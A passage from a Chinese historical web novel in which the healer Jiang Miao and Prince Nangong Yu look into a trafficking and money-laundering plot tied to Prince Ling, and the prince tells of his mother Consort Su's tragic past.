江渺搁下碗,似是想到了什么,又对李晴说道:“如果你愿意的话,等你身子好了就和我一起回昌都,我想开办一所医馆,你来帮忙好吗?”
李晴无声,一直紧绷着的眉头却舒缓下来。
江渺拍拍她的手,嘱咐道:“没关系,你先养好身子,这事情以后再说。”
江渺示意阿洛好好照看,轻轻退出了房间。
刚一出门,正碰上外出归来的南宫煜。
经过昨日的一番交谈,两人之间的气氛变得有些微妙。江渺犹豫了片刻,躬身一礼:“殿下今日不是要去处理公务吗?这么快就回来了?”
南宫煜上下打量她一眼,瞥见她手腕上缠住的绷带,眼光有一瞬的动摇,片刻后还是恢复了惯常的态度:“嗯,有些事情需要处理。”
江渺略带尴尬的笑笑:“那便不打扰殿下了,我还要去找凝姐姐说话。”
南宫煜鼻尖嗯了一声,顿了顿道:“之后我会比较忙,我派个人跟着你,你不要让护卫再离开你了。”
江渺刚想拒绝,她身边已经有功夫不差的云杉,没必要再多带一人,却抬眸瞥见南宫煜略带阴沉的脸。
心想就是因为自己防范意识不足才让他人有了可乘之机,因此给南宫煜平添了麻烦,再来一次,大约南宫煜也不想再救她了吧。
想到此处,江渺识趣的点点头。
南宫煜不再说话,大步就回了房。
江渺没做它想,又去与南宫凝聊了一会,将发生的事情一一给南宫凝说了一遍。
犹是那日刺客袭来她也临危不惧,面不改色,却在听到江渺差点命丧贼人之手时,惊得是花容失色。
江渺见南宫凝是真心实意为她担心,心中不由一暖,好言安慰了南宫凝几句,她才放下心来。
南宫凝见江渺无事,又像是想起了重要事情,忽地唤来琼枝取物。
江渺还在疑惑是何事,却见着琼枝拿来一个盒子,打开之后竟是昨日她在市集上看到的草药。
市集并非每日都有,摊贩也并不固定。尤其是这类贩卖草药,珍宝之人,是可遇而不可求。她本在为好不容易看到那珍贵的草药,却因为被绑架而没有买到的事情而遗憾,没想到竟在南宫凝这里看到了自己想要的东西。
惊喜之情不言而喻。
南宫凝笑笑解释道:“五弟去救你后,我才想起来阿洛说你是因为看到这草药与我们分开的,我想这东西对你一定有用,所以昨日差人去买来了。”
江渺真的想冲上去抱住南宫凝,给她说一万声感谢。
只是眼前之人毕竟是古人,还是位金枝玉叶,江渺想了一想还是作罢。
给南宫凝道谢一番后,回到房间仔细配药。
正在此时,阿洛推门进来,说南宫煜指派的护卫来了。
江渺放下手中的草药,点点头,“让他进来吧。”
56.想好
江渺本在思忖,南宫煜会指派怎样一位护卫给自己。此前留守客栈的护卫已然身手不凡、机警过人,难道还有更胜一筹的?
心中存了几分好奇,在听到房门声响起之时,也不由得抬头看过去,来人一身玄色劲装,腰佩长剑,行动间利落无声,分明是顶尖高手风范。
待来人走出光束外,江渺看清楚他面容的一刻,不由一怔,愕然出声:“前川?是你?”
前川大步流星走上前来,抱拳行礼:“是,属下前川,奉王爷之命,前来护卫姑娘。”
江渺更加诧异。
她记得在侯府之时,有一段时间前川在暗处偷偷保护过她。后来南下以后,她偶然听南宫凝说过,前川是南宫煜身边最得力的贴身近卫之一,本来是要跟随一同南下,却因为北郡那边突然有要紧事情发生,所以被南宫煜派到了北郡。
北郡与南靖相反的两个方向,相去甚远,怎的此时会出现在此处?
江渺疑惑,但是南宫煜自有他的安排,她也不好开口去问,只得点点头:“那日后便要麻烦前川护卫了。”
前川再次抱拳行礼:“姑娘言重,此乃属下分内之事。”说完便很自然地退出到门外,如同影子一般立定,不再多言。
江渺重新坐回案前,心思却有些飘忽。南宫煜把自己的贴身暗卫都派来给她了?这护卫的规格,未免太高了些。而且,刚刚前川看她的眼神……总觉得有些意味深长。
她摇了摇头,抛开杂念,继续专注于手中的药材。那几株南陵草品相极佳,需得小心炮制。她拿起银质小刀,专注地处理着草茎。
室内一时只余下细微的切割声与药材的清香。
而此刻,隔壁南宫煜的房中,三千正低声禀报:“王爷,前川已到江姑娘处。”
南宫煜伏案处理公务,只“嗯”了一声,并未抬头。
三千犹豫片刻,又道:“北郡那边的事情还未了结,此时急召前川回来会不会再生变故?”
“无妨。”南宫煜并未停笔,顿了顿又道:“我已经安排人盯着了,你多留心一下陵王一行人的动向就好。”
“是。”三千心里不解,北郡事务紧急,这才派了前川亲自去盯着。如今却为了一个江姑娘,就将前川调回来。近卫一共四人,除却他和九天外,就有两个人在为江姑娘的事情奔走,王爷这么做是何意思?难道,真和前川说的一样,主子对江姑娘有别的心思。
思及此出,三千猛地摇了摇头。
主子大仇未报,绝无此意。当年无论颜落使出何种手段,主子也没有为其动心,一定因着江姑娘要为主子看病的原因,主子才如此在意。
“怎么?”南宫煜感受到三千目光复杂地盯着桌上的批复一言不发,以为他还有要事禀报,又道:“有何遗漏之事吗?”
这一开口让三千从自己的心思里挣脱出来,他可不敢把心里想的那些告诉南宫煜,慌张答道:“回爷,无事,只是属下在想前川性子跳脱,让他跟着江小姐会不会出什么事。”
南宫煜笑笑,“无妨,我心中有数。你先下去吧。”
“是,属下告退。”收到特赦,三千忙不迭地一边答应,一边退出去。
走到房门前才觉得有些疑惑地挠了挠头发,刚刚主子是笑了?
错觉,错觉罢了。
三千把自己脑子里的杂念通通赶走,大步流星地出门去处理公务去了。
*
南宫煜让三千辟了一个偏僻院子圈禁刘知州等人。
第二日,晨曦微露。
江渺身上的伤上虽然还未痊愈,但是已无大碍。她心中惦记着刘知州一事背后的蹊跷,听闻南宫煜还未出门,用过早膳过后,便径直去寻他。
南宫煜正在低头批复信件,见她进来并未感到意外,只抬手指指对面的椅子。
江渺落座,开门见山:“殿下,昨日我反复思量,刘知州之事恐怕不止表面这般简单。他口口声声效忠于你,行事却如此阴毒荒唐,若传扬出去,百姓只会认为是你纵容属下、戕害无辜。这分明是有人刻意借你之名,行此恶事,意在败坏你的声誉,动摇民心根基。”
南宫煜神色未变,似乎早已料到她会如此说。他放下手中一封密报,从案头拿起另一份装订整齐的册子,推到江渺面前。
“看看这个。”
江渺接过,册子颇有些分量。翻开第一页,是刘知州的履历与近年升迁记录,笔迹工整,标注详尽。后面则附了数页往来账目抄录、几封字迹不同的密信片段,以及一份按有血指印的口供。
她仔细翻阅,越看越是心惊。
账目显示,刘知州近三年来,通过数个空壳商号,向昌都一个名为“惠安号”的银楼汇入了巨额的,来源不明的银钱。而“惠安号”的东家虽然是城东杨家,但是这杨家与何同甫,何大人有着千丝万缕的关系。
江渺记得何同甫这个人的名字。提灯节那日,她在画舫上遇到的刺客,他们最开始的目标就是何同甫。幸而有南宫煜指派前川前去帮忙,何同甫才没有丧命。
江渺接着翻看密信。信上虽无抬头和落款,语气措辞却极为相似,皆是下达指令,要求刘知州加紧采办,将掳来的女子交给何人,以及风声紧,暂避锋芒。
其中一封简单的写着要要取江渺性命。
最后那份口供,来自于刘知州身边一个知情人,见刘知州落难,正要卷款潜逃,被提前布局的南宫煜抓了个正着,还没有用刑便招了一个干干净净。
他供认刘知州安排类似刘二这样的棋子数名,分布在各个偏远小镇,但凡是看到长相貌美的未嫁少女,皆需要或劝,或骗,或绑秘密将人运往昌都一处府邸。
短短一年有余,经刘知州这条线送往至昌都的女子,有名有姓可查者,已逾五十。这还不包括那些未曾登记在暗账上、或中途损耗的。
涉及失踪人口众多,并非无人报官,可是这些女子
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家人多是贫苦出生,还有像李晴这样父母双亡要被卖身抵债者,她们的状纸递上去,却是石沉大海。或被当地衙门以女子私奔等由头草草结案。其间必有位高权重之人上下打点,疏通关节。
直至近期,一偏远村落,本不与外村人往来,却有女子失踪,村长连同村名闹起来,才让些许风声传出来,引起了昌都城里某些人的注意。
民意上达天听,陛下只得派人来做调查,只是事情已经过去几日,还仍然没有进展。
江渺合上册子与密信,只觉得夏日依旧炎炎,自己却冷若寒冰。
南宫煜注意到她的神色,开口道:“这事情确实如你所说,并非只有表面那么简单。”
“你说你想要安稳度日,那么,你还想要继续调查下去吗?”
南宫煜的一言一语像是鼓槌,狠狠地砸在了她的心头。这紧密交织的暗网下面,藏着许多不为人知的阴私,她只要揭开其中的一角,或许连她也会被这黑暗吞噬,再无翻身之地。
可是她答应了李晴,要和她一起去解救那与她一样深受折磨的女子……
而且,他们的目标不也有了她吗?她还逃得掉吗?
心若鼓擂。
片刻后她抬起头,眼神明亮,反问道:“殿下,事到如今,我还有不查的退路吗?”
江渺将册子轻轻放回案上,又重新落座,背脊挺得笔直:“我虽然很想安稳度日,可是我也不是任人宰割的羔羊。他们已然将我列入了绞杀的目标,如今殿下救得了我一次,又能救得了我一世吗?”
有何不可。想起自己的责任与江渺的话,最终南宫煜只是抬眸直视她,喉头动了一动,想说什么又咽了回去。
江渺道:“只是我暂时想不通,是谁如此忌惮我,欲对我杀之而后快。”
她埋下头凝神沉思。出门前她已然解决江璟儿和安乐这两个隐患,除此之外,她并不觉得她还树敌在外。除非安乐和江璟儿并非最后的主谋。
江璟儿身后确实有一高人帮忙,可是他既然与影魅之间也有千丝万缕的关系,何不派出行动更为隐蔽的暗卫来刺杀她,而要如此大费周章的借刘知州的手嫁祸给睿王。
其中关窍,江渺暂时想不通。
她本想回到昌都以后再调查这件事情,看来也不能坐以待毙了。
再者,刘知州上面的人是不是和江璟儿身后之人是同一人,眼下还不能确定。如果是,她可以顺着刘知州的线也许能够探查出此人的真面目。可如果不是,怕是她又得罪了惹不起的势力。
总之现在事情如同迷雾一般,只能根据眼前的线索来逐步破解了。
江渺不再多想,抬眸起来看向南宫煜:“殿下,能否告知何同甫的信息?”
南宫煜注视着她,再一次沉声道:“你想好了吗?若是踏进这条路,就没有退路了。”
江渺点头,嘴角勾起一丝无奈的笑:“我想好了,殿下请讲。”
、
57.母妃
何同甫官职虽止于正五品,却身处户部度支司郎中之要职,掌天下赋税计度、国库出纳稽核,实乃一等一的肥缺。
明面上,此人处事圆滑,滴水不漏,与朝中各派系皆保持不远不近的距离,既不与陵王党过从甚密,也未明显倾向其他党派,只以忠于王事、勤勉当差的形象示人,颇得陛下几句实干的称赞。
然而根据调查,何同甫私底下与陵王之间有着千丝万缕的关系。他不仅是陵王按插在户部、用以监控财政动向的耳目,更是其暗中敛聚巨额财富的关键白手套。
刘知州等人搜刮来的黑钱,经惠安号洗白周转,最终有相当一部分,通过何同甫巧妙安排的“工程拨款”、“物料采买”、“地方税银折色”等名目,流入了陵王暗中控制的数个钱庄与产业,成为其结交权贵、蓄养私兵、图谋大事的资本。
江渺目光锁定在南宫煜递来的密档之上,心头疑云更浓。
陛下膝下皇子三名:二皇子南宫澈,生母佳贵妃宠冠六宫,虽未正位中宫,然十余年来代掌凤印,形同副后;五皇子南宫煜,少年远赴北郡戍边,十载浴血,威震边关,然在昌都朝堂根基浅薄;七皇子南宫元,年方十四,尚未封王开府,仍居宫中读书。
朝野上下皆心知肚明,若论圣眷之隆、根基之深、羽翼之丰,无人能出陵王南宫澈其右。
他常年侍奉君前,协理部分政务,处事圆融,礼贤下士,在文人清流与部分勋贵中声望颇佳。佳贵妃母族势力盘根错节,于后宫前朝皆有呼应。
反观南宫煜,虽军功赫赫,却因长年离京,在朝中几无党羽,若非陛下突然急召回宫,怕是此生都不会踏足昌都。他回京后又屡次直言进谏,触及某些利益,反显得格格不入,颇受掣肘。
如此背景之下,待陛下百年之后,皇位不就是南宫澈的囊中之物吗?他何须要如此大费周章的做这些会被杀头的错事?有必要去忌惮南宫煜吗?
除非事情并不像是表面上那么简单。
南宫煜虽知江渺聪慧,却没想到她仅凭卷宗上寥寥数字就能够猜到其中一些关窍。
紧接着他又为江渺讲了一个故事。
关于他的母亲,苏婉柔,苏贵妃。
南宫燕当年起兵之事,江渺早已在南宫凝那里有所耳闻。他们的父亲本是与皇储无关的闲散王爷,机缘巧合卷入皇权之争,靠着佳贵妃母家以及苏贵妃母家的权势,夺得皇位。只是不知,其中还有什么隐情。
南宫煜示意江渺坐下,自己则踱步至窗前,盯着远处的乌云,沉声道:“其实我的母妃一直不知道她嫁的人,原来早已有了家室。”
此话一出,江渺突然一愣。南宫凝也同她说过类似的话,难道苏贵妃开始也不知道自己要嫁的人已有家室吗?
南宫煜对江渺的诧异并不感到意外。世人皆说,父皇深情,每年都要亲自去祭奠母妃,可是这份深情下面藏着几分真心,南宫煜却是明白。
当年苏婉柔做为苏家最小的女儿,还未及笄便已艳绝无双,才学更不用说,是远近闻名的才女。不少富贵人家,有权势的官宦子弟,皆对其是趋之若鹜。
可是母妃为什么最后选了年岁还大上她一轮的父皇,年少时总是会为这个问题而感到疑惑。
后来南宫煜才知道,南宫燕当年求助于祖父之时,祖父一眼看出了南宫燕将来必定能够成为登顶之人。苏家虽然是首富,可是士农工商,商人永远是低人一等的存在,为了延续整个家族的荣耀,祖父提出要让南宫燕娶自己的女儿。
南宫燕本意拒绝,他早已有了妻儿,可是苏老爷以此为条件要挟,南宫燕不得不答应。苏老爷深知苏婉柔久久还未婚嫁的,一心想要等待一个能与自己一生一世一双人的人出现。
在古代,那个男子不是三妻四妾,可偏偏只有苏老爷这个女儿,不知是读了太多的书的缘故,竟然生出了这般离经叛道的想法。无奈,苏老爷只能联合家人,为她做了一场大戏。
他们设计让苏婉柔遇险,而后又安排南宫燕英雄救美。单纯的小鹿遇上精心为她编织的陷阱,只能泥足深陷,越陷越深。
两人婚后琴瑟相和,恩爱有加,很快就怀孕了。南宫燕更是对这个孩子喜爱非常,许诺如若夺得皇位,腹中孩子若是女子将是全天下最尊贵的公主,而若是皇子便是唯一的太子。
可是等到一切尘埃落定,苏婉柔在寝宫中满心欢喜地等待南宫燕回来,没想到来的不是南宫燕,来的却是牵着南宫澈,趾高气昂的佳贵妃。
此时苏婉柔才知道自己深爱着的丈夫,并非她一人的丈夫。苏婉柔心高气傲,得知真相后,心碎愤懑,几次求南宫燕许她和离,放她离开。但是苏老爷子得知后,以家族荣耀逼迫她留在宫中继续做南宫燕的妃子。
为了苏家满门荣耀,更为了腹中的孩子,苏婉柔只能将苦楚生生咽下,困在这金碧辉煌的牢笼之中。她不喜争抢,也不好动,终日对着书籍郁郁寡欢,对南宫燕也再也不似从前一般亲近。
只是南宫燕似乎因为对她怀有愧疚,所以常常会来宫中陪苏婉柔说话,更在生下南宫煜以后大赦天下,破例赐予苏婉柔贵妃之位。
可是无论何种恩赐,苏婉柔皆是淡淡回应,没有再拒绝,也没有再说欢喜。她唯一的柔情全都给了南宫煜一人。
父母皆劝她放下,安享贵妃尊荣。她却只是蹙紧眉头望着那双遗传给南宫煜的漂亮眉眼,对着父母循循劝诫,恩宠如同镜花水月,今日烈火烹油,明日或许就是万丈深渊。苏家助陛下登基有功,切不可居功自傲。
木秀于林,风必摧之。
父母皆为不满的瞥一眼苏婉柔,让她为了家族一定要紧握圣心。话不投机,此后苏家人甚少来宫中探望苏婉柔。
她的话,父母终究没有听进去。苏家仗着从龙之
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功、贵妃之亲,在朝野间行事愈发高调。子弟入仕者众,商路扩张迅猛,府邸园囿修得堪比王侯。鲜花着锦,一派鼎盛喧嚣。
每每听闻这些,苏婉柔只是倚在临窗的榻上,望着庭中四季更迭的花木出神。春日的海棠再艳,也驱散不了她眉眼间的忧色。
或许从那时苏婉柔便开始为南宫煜做打算。于是大厦将倾之时,苏婉柔一边应对南宫燕的雷霆之怒,一边安排杨老将军求得陛下将南宫煜带离暴风雨中心。
而自己却终究在这场滔天巨浪里耗尽心力,不久后便撒手人寰。
听完南宫煜的讲述,江渺低低地叹息了一声。如此绝代风华的女子,最终成为了政治博弈里的牺牲品。
也难怪南宫煜气质清冷,年少丧母,又失去父亲的宠爱,孤身前往北郡,能够成为一方战神应该是吃了不少苦头吧。
【与我一样,都是没有父母的小苦瓜。】
虽然不是想这个的时候,江渺脑海里不知怎的就冒出了这句话。
南宫煜目光落下来,其间带着几分疑惑,转念想起虽然柳如云对她甚是宠爱,可是她是养女,应该说的是自己的亲生父母之事,遂不再开口。
江渺却道:“殿下突然给我讲这个故事,恐怕不仅仅是要告诉我你的身世吧。”
南宫煜嘴角微勾,坦言道:“是,我一直以为苏家祸事,皆是因为苏家不明形式,最终引火上身。”
江渺一怔,很快猜到了答案:“殿下的意思是……当年苏家骤然倾覆,并非全然是树大招风,咎由自取?其中还另有隐情?而且这一切,或许还和陵王有关?”
南宫煜眼中闪过一丝赞许的神情,缓缓点头。
“起初我也以为这一切是祖父一家不知收敛,父皇不得已而为之。母妃也曾嘱咐我忘记在昌都的一切,好好生活。”
“可是!他们千不该万不该,要对杨伯父动手!”
南宫煜谈及此处,不由得攥紧了拳头。
他口中的杨老将军是先皇旧部,更是当年北郡军中的定海神针。因为当年返京曾受过苏贵妃一点恩惠,便在苏家落难之时,倾囊相助,并将南宫煜接到身边亲自教养,对南宫煜有着知遇之恩,养育之恩。但是就在南宫煜被下诏返回昌都之前,骤然发病,药石无医,溘然长逝。
江渺知道自己今日所闻之事,涉及到太多皇室秘辛,今后若是想要全身而退,恐怕是已然不能,脸色不由得也沉重起来。
听南宫煜所言,怕是杨老将军的死因也不简单。她未开口,静等下文。
南宫煜道:“起先我在床上昏迷了五日。杨伯父为了救我,动用所有的方法终于找到了隐士高人温言。他诊断出我身体内的毒素极为古怪,很是罕见。连他也只能暂缓毒素发作,而不能解毒。只能抓住下毒者拿到解药,或能知晓克制之法。”
南宫煜所言不虚。江渺点点头。
58.原来
自在山崖下救南宫煜之时,江渺就发现他体内之毒诡异,若非现世积累的知识,别说是配制解药,就是中毒之事也不一定能够察觉的到。
“杨伯父得知后,忧心如焚。他一面严令温言与我身边知情人保密,一面暗中多方打听,翻阅古籍,试图寻找解毒线索。”南宫煜翻开桌上北郡的舆图,手指点向一处位于西陲交界、人迹罕至的崇山峻岭,“后来,温言根据古籍残篇告知伯父,在这雪山之上或许能够找到一味草药缓解毒素扩散。杨伯父便瞒着我去了。”
江渺心头一凛。一位年事已高,旧伤未愈的老将军,为了南宫煜,竟然毅然前往那般凶险之地。
南宫略过期间各种艰难,只道杨老将军半生戍守边关,早就被蛮族人记恨不已,其行踪竟被人故意泄露给蛮族之人,当南宫煜得知消息带兵赶到现场,杨老将军已经只剩下最后一口气。
南宫煜想起那大雪弥漫的山谷,心如刀绞。
他带兵绞杀了埋伏的所有蛮族之人,拼命抱住杨伯父想让他坚持下去,可他还是在他的怀中永远的离开他。
临死之前,怀中还护着为他而采摘的草药。
母妃已经永远离开他,就连亦师亦友亦父之人也要离他而去,那一瞬间,南宫煜犹如溺水之人,即将永沉深海。
杨老将军早已料到有此结局,临行前交于书信一封给温言,只道此行若是不能平安归来,便把信交给南宫煜。
江渺在一旁听得心潮翻涌。杨老将军怕是知道自己一死会对南宫煜造成很大的伤害,所以提前备好后路。她压下心中的猜测,认真看着南宫煜。
南宫煜告诉她,信中所言苏家倾覆其实另有隐情,另外,苏婉柔的哥哥还有一个孩子尚存于世。
南宫煜本无心贪恋红尘,自杨老将军身故后,便一蹶不振,连药也不再好好服用。正是这封信,让他明白了自己的责任,眼中再次燃起了希望之火。
苏家蒙冤,母妃离世,杨伯父受敌,这桩桩件件的血债,他不能不报。况且,他还要找到那个苏家的唯一血脉,以慰母亲在天之灵。
之前江渺一直想不明白,南宫煜不过是一个戍边数年且无母族倚靠的没有威胁的皇子罢了,陵王何必对其斩尽杀绝。
听完南宫煜的故事,江渺心中隐约有了几分猜测。怕是当年苏家满门抄斩之事,也与陵王有着关系。
既然南宫煜已经对她如此坦诚,她若是还犹豫退缩,顾左右而言他,不仅辜负了这份信任,更对不起自己一路走来所秉持的准则以及心意。
江渺站起身来,俯身一礼,坚定道:“殿下放心,我一定会拼尽全力将殿下身体内的剧毒化解,也会支持殿下查明当年事情的真相。”
南宫煜闻言,垂眸凝视了她一瞬,随即示意她坐下:“我并不想把你置于风口浪尖。”
江渺感受到南宫煜话中的深意,心跳节拍乱了一拍,恍然想起在藏书阁遇见南宫煜的那个夜晚,突然开口道:“殿下,请你告知,我父亲是否也与苏家被灭门之事有关。”
南宫煜没想到她竟然能够这么快猜到,明显怔愣一瞬,继而沉声道:“我不知道。”
不知道?
见江渺疑惑的眼神,南宫煜解释道:“正如你所想一般,当初我夜探侯府,确实是想在侯府找到一份与苏家有关的证据。”他苦笑一声:“但是你也看到了,你父亲,对此极为谨慎。在藏书阁内设下了不少机关,即便是我,也没有成功拿到那份证据。”
江渺手指微颤。江伯玉若是也参与了当年苏家的命案,那她与南宫煜之间,顷刻间便会横亘起一道无法逾越的血仇深渊。
可南宫煜早就知道,却还是在遇见她以后毫无保留的帮助她,保护她……
心中五味杂陈。
南宫煜猜到江渺心头所思,淡然开口:“你是你,侯爷是侯爷。放心吧,我不会因江伯玉所做之事而牵连到你。”
若是江伯玉也是陷南宫煜受尽半生凄苦之人,未来真相大白,江渺能不能舔着脸让南宫煜不杀他,江渺不知道……
她虽与江伯玉并无多少感情,但是因着柳如云的关系,他还是一直对她疼爱有加,她做不到看他死。
江渺强压下心头这份揪扯,仔细思考起来,南宫煜只说有可能,未必江伯玉就一定与此事有关。
他身为长阳候,掌着家族的兴衰,又要在朝堂之争中明哲保身,或许他只是手握一些可以保命的证据也未可知。
她一定会证明,江伯玉与此事无关。
江渺抬头起来,对南宫煜道:“或许,我可以帮殿下拿到这份证据。”
南宫煜摇头,“无妨,我自有其他的办法。”
他并不想让她冒险,也不想让她背叛家人。
江渺不作声,心中有别的打算。今日之谈话,信息量太大,她需要理清楚思路。
想了想,江渺又开口将话题拉回了何同甫身上,既然何同甫是陵王的人,如今被睿王所救,南宫煜有没有在何同甫身上得到什么有用的信息。
“那何大人如今身在何处呢?”
南宫煜嗤笑一声:“是我们大意了。何同甫被人下药,傻了。”
傻了?江渺有几分不可置信。看来陵王身边多得是能人异士,不仅可以为其豢养暗卫,影魅等高手,还能研制各类杀人于无形的毒药。
还得是法治社会安全啊,在这鬼地方,怎么傻的,怎么死的都不知道。
“何同甫虽然不是什么高官,却也是陛下眼前的人,不明不白傻了,陛下没有过问吗?”
南宫煜摇头:“手法做的隐蔽,我带温言去看过,寻常人查不出来。”
江渺嗤笑一声,陛下轻医重道,想来如今太医院的那些人,大多都是些色厉内荏的草包,他们要是能看出来就有鬼了。
“不过没有何同甫这个人证也没关系,他们既然能做,就一定会露出马脚。”
江渺点头,转念想起李晴之事。
无论原主的记忆还是做鬼之时,江渺都清
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楚的记得陵王曾经说过自己只爱林清月一人。江渺对此也深信不疑,他杀原主之时的痴狂模样,口口声声喊着还我妻命来的狰狞面目,怎么看也不像是装的。
既然如此深情,又绑架那么多花样少女掳来的目的又是什么呢?
江渺做鬼游荡陵王府,也不曾看到几个貌美的女子。这一点暂时想不通,但是此事未必和陵王就没有关系。
她先放下不论,如今刘知州在她们手上,他身后之人定然会有所行动,或许可以根据刘知州这条线,钓到后面的大鱼。
江渺将自己的想法告诉给南宫煜以后,意外换来了他的否定。
南宫煜说:“昨夜我亲自去审问了这人,可惜一问三不知。”
江渺闻言,眉头紧蹙:“一问三不知?是当真不知,还是……不敢说,或不能说?”
南宫煜神色冷峻:“两者兼有。此人早已被彻底洗脑,深信自己是为‘睿王殿下’效命,所有恶行皆是奉睿王之命而行。审讯时,他时而痛哭流涕表忠心,时而义愤填膺斥背叛,言语间逻辑自洽,不似作伪。即便我将部分指向陵王与何同甫的间接证据摆在他面前,他也只认为是睿王在考验他,或是奸人构陷。”
“好高明的手段!”江渺倒吸一口凉气:“如此一来,这些棋子即使是落网,甚至是招供,所有罪行都是指向你,而真正的幕后主使者却可以完美的隐身。”
说完,江渺上下打量一眼南宫煜。
南宫煜疑惑地看过来,眼神里是不解。
半晌,江渺摇头叹气:“殿下,你和我一样命苦啊!”
反应过来江渺话中的意思,又听着她亲近而略带调侃的语气,不由笑道:“不一样。”
“不一样?”江渺反问。
“嗯。”南宫煜嘴角微勾,反而调侃回去:“想杀你之人,看来比想杀我之人还要多些。”
意思是她比他还能惹事了?江渺顿时不爽了,回怼道:“殿下,你错了,你征战四方,不算那些视你为眼中钉肉中刺的蛮族士兵,这昌都城里城外,明里暗里想害你的人,怕是数都数不过来。”
江渺冷哼一声,“哼,咱们是各有各的风光,谁也别说谁。”
她这话说得半真半假,带着几分孩子气的味道。两人目光在空中交汇一瞬,竟然都从对方的严重看到了一丝无奈又荒谬的笑意。
沉重地气氛被这两句笑言,忽地冲淡了些许。
南宫煜摇摇头,有些无奈:“比什么不好,还要比谁被敌人惦记的多吗?”
江渺别过头去,听着南宫煜并无动静,又回头来看他。
正见他脸上的寒冰消融,光影中坚毅的五官被嘴角的笑意勾勒得柔和,连三月的春风也不如他那般柔情。
这才是南宫煜本来的样子吧……
顿时思绪飞转,江渺想到他风雪兼程的人生,想到他上辈子因被暗害而早早失去的生命,心头不由一酸,“不比这个,比我们会活得很久很久,也会活得越来越好……”